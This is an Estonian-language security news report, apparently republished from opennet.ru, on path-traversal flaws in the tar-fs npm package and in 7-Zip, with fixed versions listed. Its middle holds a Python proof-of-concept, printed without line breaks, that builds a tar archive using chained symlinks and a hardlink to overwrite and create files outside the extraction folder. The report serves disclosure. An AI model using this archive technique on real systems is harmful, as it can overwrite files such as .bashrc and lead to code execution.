VÔrguhaavatavused tar-fs ja 7-Zip, mis vÔimaldavad faile kirjutada pÔhikataloogist vÀljapoole

NPM-pakendis tar-fs on tuvastatud haavatavus (CVE-2025-48387), mis vĂ”imaldab spetsiaalselt vormistatud tar-arhiivi vĂ€ljavĂ”tmisel kirjutada faile igasse failisĂŒsteemi ossa, mitte ainult desarhiveerimise sihtkausta (nii kaugele, kui praeguse kasutaja ligipÀÀsuĂ”igused lubavad). Haavatavust saab kasutada ka olemasolevate failide ĂŒlekirjutamiseks, nĂ€iteks vĂ”ib kodukaustas asuvaid faile, nagu „.ssh/id_rsa” vĂ”i „.bashrc”, kasutada sĂŒsteemis oma koodi kĂ€ivitamise korraldamiseks.

Probleemile on mÀÀratud kriitiline ohtlikkuse tase, arvestades, et pakett tar-fs omab 23 miljonit laadimist nÀdalas ja seda kasutatakse sÔltuvusena 1155 projektis. Haavatavus on kÔrvaldatud versioonides 3.0.9, 2.1.3 ja 1.16.5, mis loodi mais, kuid teave haavatavuse kohta avaldati alles peaaegu 3 kuud hiljem.

Haavatavus on pĂ”hjustatud ebapiisavatest kontrollidest arhiivis olevate sĂŒmboolsete ja kĂ”vade linkide osas, et vĂ€ltida nende vĂ€ljumist desarhiveerimise sihtkaustast. Kontrollide ĂŒmbersuunamiseks kasutatakse kahte sĂŒmboolset linki: esimene viitab arhiivi juurkaustale ("."), teine ​​kuid tekib esimese sĂŒmboolse lingi suhtes ja kasutab nimes sĂŒmboleid "../" vĂ€ljumiseks baaskatalogist. NĂ€iteks viitab esimene link „noop/noop/noop” „.”-le ja teine „noop/noop/noop/../../../../..” lahtiseletatuna kui „./../../../../”. Failide arhivis ĂŒlekirjutamise korraldamiseks vĂ”ib luua kĂ”va lingi, mis viitab vĂ€lisele failile teise sĂŒmboolse lingi suhtes. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Sarnane haavatavus (CVE-2025-55188) leiti arhiivija 7-Zip'is. Failide kirjutamiseks vĂ€ljapoole pĂ”hikausta vĂ”ib 7-Zip'is kasutada ka sĂŒmboolseid linke, mille failitees on jĂ€rjestus «.. /». Probleemi saab Ă€ra kasutada, kui 7-Zip'iga dekompresseerida mis tahes arhiive, mis toetavad sĂŒmboolseid linke, nĂ€iteks zip, tar, 7z ja rar. Probleem on lahendatud 7-Zip'i versioonis 25.01.

Allikas: opennet.ru

Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster